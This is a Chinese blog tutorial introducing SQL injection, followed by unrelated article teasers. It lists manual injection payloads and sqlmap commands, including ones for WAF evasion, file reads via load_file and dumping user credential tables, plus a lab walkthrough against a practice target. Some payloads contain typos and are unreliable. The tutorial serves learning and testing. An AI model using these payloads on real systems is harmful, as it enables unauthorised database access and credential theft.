【网络安全】浅识 SQL 注入

news/2025/1/11 11:52:53/

前言

SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

SQL 注入已经成为互联网世界 Web 应用程序的最大风险,我们有必要从开发、测试、上线等各个环节对其进行防范。下面博主将简单介绍 SQL 注入的原理及实战操作。

简介

什么是 SQL 注入?

通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。

1.对于 Web 应用程序而言,用户核心数据存储在数据库中,如 MySQL,SQL Server,Oracle;2.通过 SQL 注入攻击,可以获取,修改,删除数据库信息,并且通过提权来控制 Web 服务器等;3.SQL 注入由研究员 Rain Forest Puppy 发现,在1998年对外发表文章《NT Web Technology Vulnerabilities》;4.SQL 注入即攻击者通过构造特殊的 SQL 语句,入侵目标系统,致使后台数据库泄露数据的过程;5.因为 SQL 注入漏洞造成的严重危害性,所以常年稳居 OWASP TOP10 的榜首!* * *

SQL 注入之后可以做些什么?

1.用户信息被泄露;
2.用户信息被非法倒卖;
3.危害企业,政府,国家安全;

分类

以注入位置分类

  • GET 注入
  • POST 注入
  • Cookie 注入
  • 搜索注入

以参数类型分类

  • 字符注入
  • 数字注入

以注入技术分类

  • 错误注入
  • 布尔注入
  • UNION 注入
  • 时间盲注
  • ASCII 逐字解码:折半拆解

基础语法

数据库操作

SQL作用
SHOW DATABASES;显示 MySQL 的数据库列表;
USE DBNAME;指定接下来要操作的数据库;
SHOW TABLES;显示该数据库的所有数据表;
SHOW TABLE STATUS FROM DBNAME;显示该库中所有表的详细信息;
SELECT VERSION();查看数据库管理系统的版本;
SELECT DATABASE();查看当前使用的是哪个数据库;
SELECT USER();查看当前使用的用户;
SELECT @@DATADIR查看数据库的数据路径;
SELECT @@BASEDIR查看数据库的安装路径;
SELECT @@VERSION_COMPILE_OS查看操作系统的版本;

数据表操作


数据操作

插入:

查询:

删除:

注入流程

1.判断是否有 SQL 注入漏洞;2.判断操作系统和数据库类型;3.获取数据库信息;4.加密信息破解;5.提升权限;6.内网渗透;

手动注入

布尔注入

闭合 SQL 语句,构造 orand 逻辑语句、注释多余的代码;

  • or 1=1 -- 注释后有空格;
  • admin' and 1=1 -- ' 查询指定账号的密码;
  • admin' or 1=1 -- ' 查询所有账号密码;

union

  • 前后查询的项数和顺序要一样;SELECT column_name(s) FROM table1UNIONSELECT column_name(s) FROM table2; * 'union select 1,2 -- ' | 'union select 1,2,3 -- ' 先测试查询有几项;

查询数据库

  • 'union select 1,table_name from INFORMATION_SCHEMA.tables -- '
  • 'union select version(),database() from INFORMATION_SCHEMA.tables -- '
  • 'union selcect user(),databases() form INFORMATION_SCHEMA.tables -- '
  • 'union select load_file('/etc/password'),database() from INFORMATION_SCHEMA.tables -- '
  • 'union select load_file('2f6...264'),database() from INFORMATION_SCHEMA.tables -- ' 16进制;
  • information_schema 数据库是 MYSQL 自带的,提供了访问数据库元数据的方式。元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。

查询数据表

'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'USER_PRIVILEGES' -- '
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- ' 

查询数据列

'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- ' 

SQLMap

GET 方法注入

  • sqlmap -u "url" 指定检测的网址;
  • sqlmap -u "url" -p username --users 查看数据库用户信息;
  • sqlmap -u "url" -p username -dbs 查看有多少数据库;

POST 方法注入

采用 fiddler/burpsuite/tamper 等代理工具,拦截 POST 请求内容,将 POST 请求内容保存到 post.txt 文件中,并让 sqlmap 调用,设置到带 cookie 才能访问的注入页面,则可以采用 -r 参数来实现;

  • sqlmap -r post.txt --dbs
  • sqlmap -r post.txt --users
  • sqlmap -r post.txt --all

带 cookie 参数注入

sqlmap -u "url" cookie=" " --dbs

混淆注入

用于绕过或识别 WAF/IDS/IPS;

  • sqlmap -u "url" --dbms=mysql --skip-waf (绕过 waf 防火墙) --random-agent( 使用随机 http 头部)
  • sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile 模拟手机请求;
  • sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --level 3 risk=2 提高安全/危险等级;
  • sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --smart 智能模式(温和);
  • sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --smart --offline 减少跟对方的交互;

数据获取

sqlmap -r /root/Desktop/post --tables -D "数据库名" 查看当前数据库的数据表;

实战

打开靶机,进入靶场,发现是 get 传参,

启动 SQLMap,指定传参 name,看看有没有注入点,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name

获取到相应信息,可以进行 SQL 注入,先查看所有的数据库 sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --dbs

有两个数据库,分别为 exercisesinformation_schema,查询 exercises 数据库,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --tables -D "exercises"

只有一个 users 表,查看这个表的所有字段,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --columns -T "users" -D "exercises"

查看比较有用的三个字段 idnamepasswdsqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --dump -C "id,name,passwd" -T "users" -D "exercises"

接下来就是该干嘛干嘛,不过建议点到为止

最后

为大家准备了一个前端资料包。包含54本,2.57G的前端相关电子书,《前端面试宝典(附答案和解析)》,难点、重点知识视频教程(全套)。



有需要的小伙伴,可以点击下方卡片领取,无偿分享


http://www.ppmy.cn/news/6220.html

相关文章

我写这10+个JavaScript单行代码,被组长夸代码写得优雅!

大厂面试题分享 面试题库 前端面试题库 (面试必备) 推荐:★★★★★ 地址:前端面试题库 JavaScript 非常大的特点容易上手且非常灵活,代码实现方式五花八门;有时候能一行代码解决,就尽量不用…

C# Winform 三层架构

一、介绍 三层架构是 C# 桌面开发中比较常用的框架,是由 表示层(UI)、业务逻辑层(BLL)和数据访问层(DAL)三层架构组成,目的是为了 “高内聚,低耦合”。开发人员分工更明…

【并发】深入理解JMM并发三大特性(一)

【并发】深入理解JMM&并发三大特性(一) 今天是2022.11.16,在此之前我已经学习完了图灵课堂MySQL的课程,也是想这篇文章一样用CSDN博客的形式来记录这些知识点。 在并发中,JMM在大多数人眼中,它是整个…

java中的反射

反射 类加载的过程 当程序主动使用某个类时,如果该类还未被加载到内存中,则JVM会通过加载、连接、初始化3个步骤来对该类进行初始化。如果没有意外,JVM将会连续完成3个步骤,所以有时也把这个3个步骤统称为类加载或类初始化。加载 …

从 2022 年优秀 Linux 发行版中挑选你喜欢的版本

导读如果你想从 2022 年最佳 Linux 发行版列表中挑选一个最喜欢的版本,那么今天你需要考虑以下几个选项。 2022 年是充满惊喜的一年,Linux 发行版的表现也不例外。从充满功能的新版本到各种桌面选项,总有一些值得期待的东西。 如果你想从 20…

Promise对象的使用

一、什么是Promise Promise 是异步编程的一种解决方案,比传统的解决方案(回调函数和事件)更合理和更强大。从语法上说,Promise 是一个对象,从它可以获取异步操作的消息。Promise 提供统一的 API,各种异步操…

让人恶心的多线程代码,性能怎么优化?

Java 中最烦人的,就是多线程,一不小心,代码写的比单线程还慢,这就让人非常尴尬。 通常情况下,我们会使用 ThreadLocal 实现线程封闭,比如避免 SimpleDateFormat 在并发环境下所引起的一些不一致情况。其实…

小程序02/小程序 页面生命周期钩子函数、组件生命周期钩子函数

一. 页面生命周期钩子函数 onLoad 监听页面加载 onShow 监听页面显示 onReady 监听页面初次渲染完成 onHide 监听页面隐藏 onUnload 监听页面清除消失 onPullDownRefresh 监听用户…